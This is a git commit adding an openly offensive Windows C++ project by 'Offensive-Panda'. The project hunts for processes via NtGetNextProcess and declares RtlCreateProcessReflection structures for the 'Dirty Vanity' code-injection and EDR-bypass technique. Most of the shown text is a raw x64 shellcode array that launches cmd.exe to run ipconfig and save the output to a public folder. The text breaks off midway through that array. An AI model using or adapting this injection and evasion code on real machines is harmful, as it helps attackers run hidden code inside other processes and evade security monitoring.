Added New

This commit is contained in:
Offensive-Panda
2024-05-24 17:10:01 +03:00
parent 78c7b0b9c8
commit 7a028d2ef3
25 changed files with 899 additions and 0 deletions
@@ -0,0 +1,31 @@
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.3.32929.385
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "RWX_MEMORY_HUNT_INJECT_DV", "RWX_MEMORY_HUNT_INJECT_DV\RWX_MEMORY_HUNT_INJECT_DV.vcxproj", "{32F14167-C8FF-4382-978F-62FE62A4ED41}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Debug|x64.ActiveCfg = Debug|x64
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Debug|x64.Build.0 = Debug|x64
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Debug|x86.ActiveCfg = Debug|Win32
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Debug|x86.Build.0 = Debug|Win32
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Release|x64.ActiveCfg = Release|x64
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Release|x64.Build.0 = Release|x64
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Release|x86.ActiveCfg = Release|Win32
{32F14167-C8FF-4382-978F-62FE62A4ED41}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {D6DFDC14-85B1-4ECF-9A40-A6A0F7D8A192}
EndGlobalSection
EndGlobal
@@ -0,0 +1,60 @@
#pragma once
#pragma once
#pragma once
#include <format>
#include <iostream>
#include <Windows.h>
#include <ntstatus.h>
#ifndef RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED
#define RTL_CLONE_PROCESS_FLAGS_CREATE_SUSPENDED 0x00000001
#endif
#ifndef RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES
#define RTL_CLONE_PROCESS_FLAGS_INHERIT_HANDLES 0x00000002
#endif
#ifndef RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE
#define RTL_CLONE_PROCESS_FLAGS_NO_SYNCHRONIZE 0x00000004 // don't update synchronization objects
#endif
int Error(const char* str) {
printf("%s (%u)\n", str, GetLastError());
return 1;
}
typedef struct {
HANDLE UniqueProcess;
HANDLE UniqueThread;
} T_CLIENT_ID;
typedef struct
{
HANDLE ReflectionProcessHandle;
HANDLE ReflectionThreadHandle;
T_CLIENT_ID ReflectionClientId;
} T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION;
typedef NTSTATUS(NTAPI* RtlCreateProcessReflectionFunc) (
HANDLE ProcessHandle,
ULONG Flags,
PVOID StartRoutine,
PVOID StartContext,
HANDLE EventHandle,
T_RTLP_PROCESS_REFLECTION_REFLECTION_INFORMATION* ReflectionInformation
);
// IDA Data: the internal struct for RtlCreateProcessReflection. gets passed to RtlpProcessReflectionStartup
typedef struct {
DWORD64 unk1;
ULONG Flags;
PVOID StartRoutine;
PVOID StartContext;
PVOID unk2;
PVOID unk3;
PVOID EventHandle;
} ReflectionContext;
@@ -0,0 +1,470 @@
/*
Auth0r: Offensive-Panda
Designation: Offensive Security Researcher.
Blog-1: https://www.deepinstinct.com/blog/dirty-vanity-a-new-approach-to-code-injection-edr-bypass
Blog-2: https://www.ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include "Header.h"
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>
#include <chrono>
#include <iostream>
#include <string>
using namespace std;
typedef NTSTATUS(NTAPI* fNtGetNextProcess)(
_In_ HANDLE ProcessHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Flags,
_Out_ PHANDLE NewProcessHandle
);
HINSTANCE hNtdll = LoadLibrary(L"ntdll.dll");
HANDLE fProc(const char* procname) {
int pid = 0;
HANDLE current = NULL;
char procName[MAX_PATH];
// resolve function address
fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess)GetProcAddress(hNtdll, "NtGetNextProcess");
while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
GetProcessImageFileNameA(current, procName, MAX_PATH);
// Extract file name from the full path
char* fileName = strrchr(procName, '\\');
if (fileName != NULL)
fileName++; // Move past the backslash
if (lstrcmpiA(procname, fileName) == 0) {
pid = GetProcessId(current);
break;
}
}
return current;
}
int findAndDO(HANDLE h) {
// Executing IPCONFIG command on cmd and saving evidence in public folder (nt_shell.txt)
unsigned char shellcode[] = {
0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x48, 0x89, 0x7C, 0x24, 0x18, 0x55,
0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0x8D, 0xAC, 0x24, 0xC0, 0xFE, 0xFF, 0xFF,
0x48, 0x81, 0xEC, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8B, 0x05, 0xD2, 0x2F, 0x00, 0x00, 0x48, 0x33,
0xC4, 0x48, 0x89, 0x85, 0x30, 0x01, 0x00, 0x00, 0x65, 0x48, 0x8B, 0x0C, 0x25, 0x60, 0x00, 0x00,
0x00, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x48, 0x89, 0x4C, 0x24, 0x68, 0x48, 0x8B, 0x41, 0x18, 0xC6,
0x40, 0x48, 0x00, 0x48, 0xB8, 0x6B, 0x00, 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x4C, 0x8B, 0x71,
0x18, 0x48, 0x89, 0x45, 0xA8, 0x49, 0x83, 0xC6, 0x20, 0x48, 0xB8, 0x65, 0x00, 0x6C, 0x00, 0x33,
0x00, 0x32, 0x00, 0x45, 0x33, 0xED, 0x48, 0x89, 0x45, 0xB0, 0x45, 0x8B, 0xE5, 0x48, 0xB8, 0x2E,
0x00, 0x64, 0x00, 0x6C, 0x00, 0x6C, 0x00, 0x4C, 0x89, 0x6D, 0xC0, 0x48, 0x89, 0x45, 0xB8, 0x49,
0x8B, 0x36, 0x0F, 0x1F, 0x40, 0x00, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x4C, 0x8B, 0x56, 0x50, 0x4C, 0x8D, 0x4D, 0xA8, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x41, 0x0F, 0xB7, 0x02, 0x49, 0x8B, 0xDA, 0x49, 0x8B, 0xF9, 0x66, 0x85, 0xC0, 0x0F, 0x84, 0xB9,
0x00, 0x00, 0x00, 0x66, 0x3B, 0xC2, 0x77, 0x1C, 0x8D, 0x48, 0x20, 0x44, 0x8D, 0x40, 0xBF, 0x0F,
0xB6, 0xD1, 0x0F, 0xB6, 0xC8, 0x41, 0x80, 0xF8, 0x19, 0x0F, 0x47, 0xD1, 0x0F, 0xBE, 0xC2, 0xBA,
0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB7, 0x09, 0x45, 0x0F, 0xB6, 0x19, 0x66, 0x3B, 0xCA, 0x77,
0x1B, 0x41, 0x8D, 0x4B, 0x20, 0x0F, 0xB6, 0xD1, 0x45, 0x8D, 0x43, 0xBF, 0x41, 0x80, 0xF8, 0x19,
0x41, 0x0F, 0x47, 0xD3, 0x0F, 0xBE, 0xCA, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x49, 0x83, 0xC2, 0x02,
0x49, 0x83, 0xC1, 0x02, 0x66, 0x3B, 0xC1, 0x74, 0x97, 0x44, 0x0F, 0xB7, 0x0B, 0x44, 0x0F, 0xB6,
0x03, 0x66, 0x44, 0x3B, 0xCA, 0x77, 0x1B, 0x41, 0x8D, 0x50, 0xBF, 0x80, 0xFA, 0x19, 0x41, 0x8D,
0x40, 0x20, 0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x47, 0xC8, 0x44, 0x0F,
0xBE, 0xC9, 0x0F, 0xB7, 0x07, 0x44, 0x0F, 0xB6, 0x07, 0x66, 0x3B, 0xC2, 0x77, 0x1A, 0x41, 0x8D,
0x50, 0xBF, 0x41, 0x8D, 0x40, 0x20, 0x80, 0xFA, 0x19, 0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00,
0x00, 0x41, 0x0F, 0x47, 0xC8, 0x0F, 0xBE, 0xC1, 0x66, 0x44, 0x3B, 0xC8, 0x74, 0x0E, 0x48, 0x8B,
0x36, 0x49, 0x3B, 0xF6, 0x0F, 0x85, 0x26, 0xFF, 0xFF, 0xFF, 0xEB, 0x04, 0x4C, 0x8D, 0x66, 0xF0,
0x48, 0xB8, 0x6E, 0x00, 0x74, 0x00, 0x64, 0x00, 0x6C, 0x00, 0x48, 0xC7, 0x45, 0xB8, 0x6C, 0x00,
0x00, 0x00, 0x48, 0x89, 0x45, 0xA8, 0x48, 0xB8, 0x6C, 0x00, 0x2E, 0x00, 0x64, 0x00, 0x6C, 0x00,
0x48, 0x89, 0x45, 0xB0, 0x4C, 0x89, 0x6D, 0xC0, 0x49, 0x8B, 0x36, 0x0F, 0x1F, 0x44, 0x00, 0x00,
0x4C, 0x8B, 0x56, 0x50, 0x4C, 0x8D, 0x4D, 0xA8, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x45, 0x0F, 0xB7, 0x02, 0x49, 0x8B, 0xDA, 0x49, 0x8B, 0xF9, 0x66, 0x45, 0x85, 0xC0, 0x0F, 0x84,
0xC2, 0x00, 0x00, 0x00, 0x66, 0x44, 0x3B, 0xC2, 0x77, 0x1E, 0x41, 0x8D, 0x50, 0xBF, 0x41, 0x8D,
0x40, 0x20, 0x80, 0xFA, 0x19, 0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6,
0xC0, 0x0F, 0x47, 0xC8, 0x44, 0x0F, 0xBE, 0xC1, 0x41, 0x0F, 0xB7, 0x01, 0x45, 0x0F, 0xB6, 0x19,
0x66, 0x3B, 0xC2, 0x77, 0x1A, 0x41, 0x8D, 0x53, 0xBF, 0x41, 0x8D, 0x43, 0x20, 0x80, 0xFA, 0x19,
0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F, 0x47, 0xCB, 0x0F, 0xBE, 0xC1, 0x49,
0x83, 0xC2, 0x02, 0x49, 0x83, 0xC1, 0x02, 0x66, 0x44, 0x3B, 0xC0, 0x74, 0x93, 0x44, 0x0F, 0xB7,
0x0B, 0x44, 0x0F, 0xB6, 0x03, 0x66, 0x44, 0x3B, 0xCA, 0x77, 0x1E, 0x41, 0x8D, 0x50, 0xBF, 0x41,
0x8D, 0x40, 0x20, 0x80, 0xFA, 0x19, 0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F,
0xB6, 0xC0, 0x0F, 0x47, 0xC8, 0x44, 0x0F, 0xBE, 0xC9, 0x0F, 0xB7, 0x07, 0x44, 0x0F, 0xB6, 0x07,
0x66, 0x3B, 0xC2, 0x77, 0x1D, 0x41, 0x8D, 0x50, 0xBF, 0x41, 0x8D, 0x40, 0x20, 0x80, 0xFA, 0x19,
0x0F, 0xB6, 0xC8, 0xBA, 0xFF, 0x00, 0x00, 0x00, 0x41, 0x0F, 0xB6, 0xC0, 0x0F, 0x47, 0xC8, 0x0F,
0xBE, 0xC1, 0x66, 0x44, 0x3B, 0xC8, 0x74, 0x0E, 0x48, 0x8B, 0x36, 0x49, 0x3B, 0xF6, 0x0F, 0x85,
0x1C, 0xFF, 0xFF, 0xFF, 0xEB, 0x04, 0x4C, 0x8D, 0x6E, 0xF0, 0x4D, 0x8B, 0x4C, 0x24, 0x30, 0x33,
0xD2, 0x49, 0xB8, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x49, 0x63, 0x41, 0x3C, 0x46,
0x8B, 0x94, 0x08, 0x88, 0x00, 0x00, 0x00, 0x43, 0x8B, 0x4C, 0x0A, 0x20, 0x49, 0x03, 0xC9, 0x48,
0x63, 0x01, 0x4E, 0x39, 0x04, 0x08, 0x74, 0x18, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x63, 0x41, 0x04, 0x48, 0x8D, 0x49, 0x04, 0xFF, 0xC2, 0x4E, 0x39, 0x04, 0x08, 0x75, 0xF0,
0x43, 0x8B, 0x4C, 0x0A, 0x24, 0x48, 0xB8, 0x4C, 0x6F, 0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x4D,
0x8B, 0x7D, 0x30, 0x49, 0x03, 0xC9, 0x48, 0x63, 0xD2, 0x4C, 0x0F, 0xBF, 0x04, 0x51, 0x48, 0x8D,
0x55, 0x98, 0x43, 0x8B, 0x4C, 0x0A, 0x1C, 0x49, 0x03, 0xC9, 0x4E, 0x63, 0x24, 0x81, 0x49, 0x8B,
0xC9, 0x41, 0xC7, 0x85, 0x14, 0x01, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0x4D, 0x03, 0xE1, 0x48,
0x89, 0x45, 0x98, 0x48, 0xC7, 0x45, 0xA0, 0x61, 0x72, 0x79, 0x41, 0x41, 0xFF, 0xD4, 0x48, 0xB8,
0x52, 0x74, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x48, 0x8D, 0x55, 0x98, 0x48, 0x89, 0x45, 0x98,
0x49, 0x8B, 0xCF, 0x48, 0xB8, 0x61, 0x74, 0x65, 0x48, 0x65, 0x61, 0x70, 0x00, 0x48, 0x89, 0x45,
0xA0, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0xF0, 0x48, 0xC7, 0x45, 0xC0, 0x72, 0x73, 0x45, 0x78, 0x48,
0xB8, 0x52, 0x74, 0x6C, 0x43, 0x72, 0x65, 0x61, 0x74, 0x48, 0x8D, 0x55, 0xA8, 0x48, 0x89, 0x45,
0xA8, 0x49, 0x8B, 0xCF, 0x48, 0xB8, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x48, 0x89,
0x45, 0xB0, 0x48, 0xB8, 0x50, 0x61, 0x72, 0x61, 0x6D, 0x65, 0x74, 0x65, 0x48, 0x89, 0x45, 0xB8,
0x41, 0xFF, 0xD4, 0x48, 0x8B, 0xF8, 0x48, 0xC7, 0x45, 0xD8, 0x65, 0x73, 0x73, 0x00, 0x48, 0xB8,
0x4E, 0x74, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x48, 0x8D, 0x55, 0xC8, 0x48, 0x89, 0x45, 0xC8,
0x49, 0x8B, 0xCF, 0x48, 0xB8, 0x55, 0x73, 0x65, 0x72, 0x50, 0x72, 0x6F, 0x63, 0x48, 0x89, 0x45,
0xD0, 0x41, 0xFF, 0xD4, 0x4C, 0x8B, 0xF0, 0x48, 0xC7, 0x45, 0xD8, 0x72, 0x69, 0x6E, 0x67, 0x48,
0xB8, 0x52, 0x74, 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x48, 0x8D, 0x55, 0xC8, 0x48, 0x89, 0x45,
0xC8, 0x49, 0x8B, 0xCF, 0x48, 0xB8, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, 0x53, 0x74, 0x48, 0x89,
0x45, 0xD0, 0x41, 0xFF, 0xD4, 0x48, 0x8B, 0xD8, 0x48, 0x8D, 0x55, 0xE0, 0x48, 0xB8, 0x5C, 0x00,
0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x48, 0x8D, 0x4D, 0x80, 0x48, 0x89, 0x45, 0xE0, 0x49, 0xBD,
0x63, 0x00, 0x6D, 0x00, 0x64, 0x00, 0x2E, 0x00, 0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00,
0x57, 0x00, 0x4C, 0x89, 0x6D, 0x10, 0x48, 0x89, 0x45, 0xE8, 0x48, 0xB8, 0x69, 0x00, 0x6E, 0x00,
0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x45, 0xF0, 0x48, 0xB8, 0x77, 0x00, 0x73, 0x00, 0x5C, 0x00,
0x53, 0x00, 0x48, 0x89, 0x45, 0xF8, 0x48, 0xB8, 0x79, 0x00, 0x73, 0x00, 0x74, 0x00, 0x65, 0x00,
0x48, 0x89, 0x45, 0x00, 0x48, 0xB8, 0x6D, 0x00, 0x33, 0x00, 0x32, 0x00, 0x5C, 0x00, 0x48, 0x89,
0x45, 0x08, 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x00, 0x00, 0x48, 0x89, 0x45, 0x18,
0xFF, 0xD3, 0x48, 0xB8, 0x5C, 0x00, 0x3F, 0x00, 0x3F, 0x00, 0x5C, 0x00, 0x48, 0x89, 0x45, 0x20,
0x48, 0xB8, 0x43, 0x00, 0x3A, 0x00, 0x5C, 0x00, 0x57, 0x00, 0x48, 0x89, 0x45, 0x28, 0x48, 0xB8,
0x69, 0x00, 0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x48, 0x89, 0x45, 0x30, 0x48, 0xB8, 0x77, 0x00,
0x73, 0x00, 0x5C, 0x00, 0x53, 0x00, 0x48, 0x89, 0x45, 0x38, 0x48, 0xB8, 0x79, 0x00, 0x73, 0x00,
0x74, 0x00, 0x65, 0x00, 0x48, 0x89, 0x45, 0x40, 0x48, 0x8D, 0x55, 0x20, 0x48, 0xB8, 0x6D, 0x00,
0x33, 0x00, 0x32, 0x00, 0x5C, 0x00, 0x4C, 0x89, 0x6D, 0x50, 0x48, 0x89, 0x45, 0x48, 0x48, 0x8D,
0x8D, 0xC0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x65, 0x00, 0x78, 0x00, 0x65, 0x00, 0x20, 0x00, 0x48,
0xC7, 0x85, 0xB0, 0x00, 0x00, 0x00, 0x78, 0x00, 0x74, 0x00, 0x48, 0x89, 0x45, 0x58, 0x45, 0x33,
0xED, 0x48, 0xB8, 0x2F, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x69, 0x00, 0x4C, 0x89, 0xAD, 0xB8, 0x00,
0x00, 0x00, 0x48, 0x89, 0x45, 0x60, 0x48, 0xB8, 0x70, 0x00, 0x63, 0x00, 0x6F, 0x00, 0x6E, 0x00,
0x48, 0x89, 0x45, 0x68, 0x48, 0xB8, 0x66, 0x00, 0x69, 0x00, 0x67, 0x00, 0x20, 0x00, 0x48, 0x89,
0x45, 0x70, 0x48, 0xB8, 0x3E, 0x00, 0x20, 0x00, 0x43, 0x00, 0x3A, 0x00, 0x48, 0x89, 0x45, 0x78,
0x48, 0xB8, 0x5C, 0x00, 0x55, 0x00, 0x73, 0x00, 0x65, 0x00, 0x48, 0x89, 0x85, 0x80, 0x00, 0x00,
0x00, 0x48, 0xB8, 0x72, 0x00, 0x73, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x48, 0x89, 0x85, 0x88, 0x00,
0x00, 0x00, 0x48, 0xB8, 0x75, 0x00, 0x62, 0x00, 0x6C, 0x00, 0x69, 0x00, 0x48, 0x89, 0x85, 0x90,
0x00, 0x00, 0x00, 0x48, 0xB8, 0x63, 0x00, 0x5C, 0x00, 0x6E, 0x00, 0x74, 0x00, 0x48, 0x89, 0x85,
0x98, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x5F, 0x00, 0x73, 0x00, 0x68, 0x00, 0x65, 0x00, 0x48, 0x89,
0x85, 0xA0, 0x00, 0x00, 0x00, 0x48, 0xB8, 0x6C, 0x00, 0x6C, 0x00, 0x2E, 0x00, 0x74, 0x00, 0x48,
0x89, 0x85, 0xA8, 0x00, 0x00, 0x00, 0xFF, 0xD3, 0xC7, 0x44, 0x24, 0x50, 0x01, 0x00, 0x00, 0x00,
0x48, 0x8D, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x4C, 0x89, 0x6C, 0x24, 0x48, 0x48, 0x8D, 0x55, 0x80,
0x4C, 0x89, 0x6C, 0x24, 0x40, 0x48, 0x8D, 0x4C, 0x24, 0x70, 0x4C, 0x89, 0x6C, 0x24, 0x38, 0x45,
0x33, 0xC9, 0x4C, 0x89, 0x6C, 0x24, 0x30, 0x45, 0x33, 0xC0, 0x4C, 0x89, 0x6C, 0x24, 0x28, 0x48,
0x89, 0x44, 0x24, 0x20, 0x4C, 0x89, 0x6C, 0x24, 0x70, 0xFF, 0xD7, 0x48, 0x8B, 0x4C, 0x24, 0x68,
0x45, 0x8D, 0x45, 0x20, 0x0F, 0x57, 0xC0, 0x48, 0xC7, 0x85, 0xD0, 0x00, 0x00, 0x00, 0x58, 0x00,
0x00, 0x00, 0x33, 0xC0, 0x44, 0x89, 0xAD, 0xD8, 0x00, 0x00, 0x00, 0x0F, 0x11, 0x85, 0xDC, 0x00,
0x00, 0x00, 0x48, 0x89, 0x85, 0x1C, 0x01, 0x00, 0x00, 0x0F, 0x11, 0x85, 0xEC, 0x00, 0x00, 0x00,
0x89, 0x85, 0x24, 0x01, 0x00, 0x00, 0x8D, 0x50, 0x08, 0x0F, 0x11, 0x85, 0xFC, 0x00, 0x00, 0x00,
0x0F, 0x11, 0x85, 0x0C, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x49, 0x30, 0xFF, 0xD6, 0x48, 0x89, 0x44,
0x24, 0x50, 0x48, 0x8D, 0x54, 0x24, 0x78, 0x41, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0x45, 0x8B, 0xC1,
0x48, 0xC7, 0x00, 0x28, 0x00, 0x00, 0x00, 0xC7, 0x40, 0x08, 0x05, 0x00, 0x02, 0x00, 0x0F, 0xB7,
0x4D, 0x80, 0x48, 0x89, 0x48, 0x10, 0x48, 0x8B, 0x4D, 0x88, 0x48, 0x89, 0x48, 0x18, 0x48, 0x8D,
0x85, 0xD0, 0x00, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8D, 0x4D, 0x90, 0x48, 0x8B,
0x44, 0x24, 0x70, 0x48, 0x89, 0x44, 0x24, 0x40, 0x44, 0x89, 0x6C, 0x24, 0x38, 0x44, 0x89, 0x6C,
0x24, 0x30, 0x4C, 0x89, 0x6C, 0x24, 0x28, 0x4C, 0x89, 0x6C, 0x24, 0x20, 0x4C, 0x89, 0x6C, 0x24,
0x78, 0x41, 0xFF, 0xD6, 0x48, 0xB8, 0x4E, 0x74, 0x53, 0x75, 0x73, 0x70, 0x65, 0x6E, 0x48, 0x8D,
0x55, 0x98, 0x48, 0x89, 0x45, 0x98, 0x49, 0x8B, 0xCF, 0x48, 0xB8, 0x64, 0x54, 0x68, 0x72, 0x65,
0x61, 0x64, 0x00, 0x48, 0x89, 0x45, 0xA0, 0x41, 0xFF, 0xD4, 0x33, 0xD2, 0x48, 0x8D, 0x4A, 0xFE,
0xFF, 0xD0, 0x48, 0x8B, 0x8D, 0x30, 0x01, 0x00, 0x00, 0x48, 0x33, 0xCC, 0xE8, 0x6F, 0x00, 0x00,
0x00, 0x4C, 0x8D, 0x9C, 0x24, 0x40, 0x02, 0x00, 0x00, 0x49, 0x8B, 0x5B, 0x30, 0x49, 0x8B, 0x73,
0x38, 0x49, 0x8B, 0x7B, 0x40, 0x49, 0x8B, 0xE3, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C,
0x5D, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0x48, 0x83, 0xEC, 0x28, 0xE8, 0xF7, 0xF8, 0xFF, 0xFF, 0x45, 0x33, 0xC9, 0x4C, 0x8D, 0x05, 0x3D,
0x1B, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x46, 0x1B, 0x00, 0x00, 0x33, 0xC9, 0xFF, 0x15, 0x5E, 0x19,
0x00, 0x00, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00,
0x48, 0x3B, 0x0D, 0xB9, 0x28, 0x00, 0x00, 0x75, 0x10, 0x48, 0xC1, 0xC1, 0x10, 0x66, 0xF7, 0xC1,
0xFF, 0xFF, 0x75, 0x01, 0xC3, 0x48, 0xC1, 0xC9, 0x10, 0xE9, 0xAA, 0x02, 0x00, 0x00, 0xCC, 0xCC,
0x40, 0x53, 0x48, 0x83, 0xEC, 0x20, 0xB9, 0x01, 0x00, 0x00, 0x00, 0xE8, 0xAE, 0x0B, 0x00, 0x00,
0xE8, 0xD3, 0x06, 0x00, 0x00, 0x8B, 0xC8, 0xE8, 0xD8, 0x0B, 0x00, 0x00, 0xE8, 0xBB, 0x06, 0x00,
0x00, 0x8B, 0xD8, 0xE8, 0xFC, 0x0B, 0x00, 0x00, 0xB9, 0x01, 0x00, 0x00, 0x00, 0x89, 0x18, 0xE8,
0x34, 0x04, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x73, 0xE8, 0x2B, 0x09, 0x00, 0x00, 0x48, 0x8D, 0x0D,
0x60, 0x09, 0x00, 0x00, 0xE8, 0xCF, 0x05, 0x00, 0x00, 0xE8, 0x92, 0x06, 0x00, 0x00, 0x8B, 0xC8,
0xE8, 0x75, 0x0B, 0x00, 0x00, 0x85, 0xC0, 0x75, 0x52, 0xE8, 0x92, 0x06, 0x00, 0x00, 0xE8, 0xD1,
0x06, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x0C, 0x48, 0x8D, 0x0D, 0x6E, 0x06, 0x00, 0x00, 0xE8, 0x51,
0x0B, 0x00, 0x00, 0xE8, 0x8C, 0x06, 0x00, 0x00, 0xE8, 0x87, 0x06, 0x00, 0x00, 0xE8, 0x5A, 0x06,
0x00, 0x00, 0x8B, 0xC8, 0xE8, 0x8F, 0x0B, 0x00, 0x00, 0xE8, 0x72, 0x06, 0x00, 0x00, 0x84, 0xC0,
0x74, 0x05, 0xE8, 0x39, 0x0B, 0x00, 0x00, 0xE8, 0x40, 0x06, 0x00, 0x00, 0xE8, 0xFF, 0x07, 0x00,
0x00, 0x85, 0xC0, 0x75, 0x06, 0x48, 0x83, 0xC4, 0x20, 0x5B, 0xC3, 0xB9, 0x07, 0x00, 0x00, 0x00,
0xE8, 0xA3, 0x06, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x57, 0x06, 0x00,
0x00, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x28, 0xC3, 0x48, 0x83, 0xEC, 0x28, 0xE8, 0x2B, 0x08, 0x00,
0x00, 0xE8, 0x06, 0x06, 0x00, 0x00, 0x8B, 0xC8, 0x48, 0x83, 0xC4, 0x28, 0xE9, 0x3D, 0x0B, 0x00,
0x00, 0xCC, 0xCC, 0xCC, 0x48, 0x89, 0x5C, 0x24, 0x08, 0x48, 0x89, 0x74, 0x24, 0x10, 0x57, 0x48,
0x83, 0xEC, 0x30, 0xB9, 0x01, 0x00, 0x00, 0x00, 0xE8, 0x2F, 0x03, 0x00, 0x00, 0x84, 0xC0, 0x0F,
0x84, 0x36, 0x01, 0x00, 0x00, 0x40, 0x32, 0xF6, 0x40, 0x88, 0x74, 0x24, 0x20, 0xE8, 0xDE, 0x02,
0x00, 0x00, 0x8A, 0xD8, 0x8B, 0x0D, 0x76, 0x2D, 0x00, 0x00, 0x83, 0xF9, 0x01, 0x0F, 0x84, 0x23,
0x01, 0x00, 0x00, 0x85, 0xC9, 0x75, 0x4A, 0xC7, 0x05, 0x5F, 0x2D, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00, 0x48, 0x8D, 0x15, 0x70, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x51, 0x19, 0x00, 0x00, 0xE8,
0x9E, 0x0A, 0x00, 0x00, 0x85, 0xC0, 0x74, 0x0A, 0xB8, 0xFF, 0x00, 0x00, 0x00, 0xE9, 0xD9, 0x00,
0x00, 0x00, 0x48, 0x8D, 0x15, 0x2F, 0x19, 0x00, 0x00, 0x48, 0x8D, 0x0D, 0x18, 0x19, 0x00, 0x00,
0xE8, 0x77, 0x0A, 0x00, 0x00, 0xC7, 0x05, 0x21, 0x2D, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xEB,
0x08, 0x40, 0xB6, 0x01, 0x40, 0x88, 0x74, 0x24, 0x20, 0x8A, 0xCB, 0xE8, 0x0C, 0x04, 0x00, 0x00,
0xE8, 0xBB, 0x05, 0x00, 0x00, 0x48, 0x8B, 0xD8, 0x48, 0x83, 0x38, 0x00, 0x74, 0x1E, 0x48, 0x8B,
0xC8, 0xE8, 0x5E, 0x03, 0x00, 0x00, 0x84, 0xC0, 0x74, 0x12, 0x45, 0x33, 0xC0, 0x41, 0x8D, 0x50,
0x02, 0x33, 0xC9, 0x48, 0x8B, 0x03, 0xFF, 0x15, 0xA4, 0x18, 0x00, 0x00, 0xE8, 0x97, 0x05, 0x00,
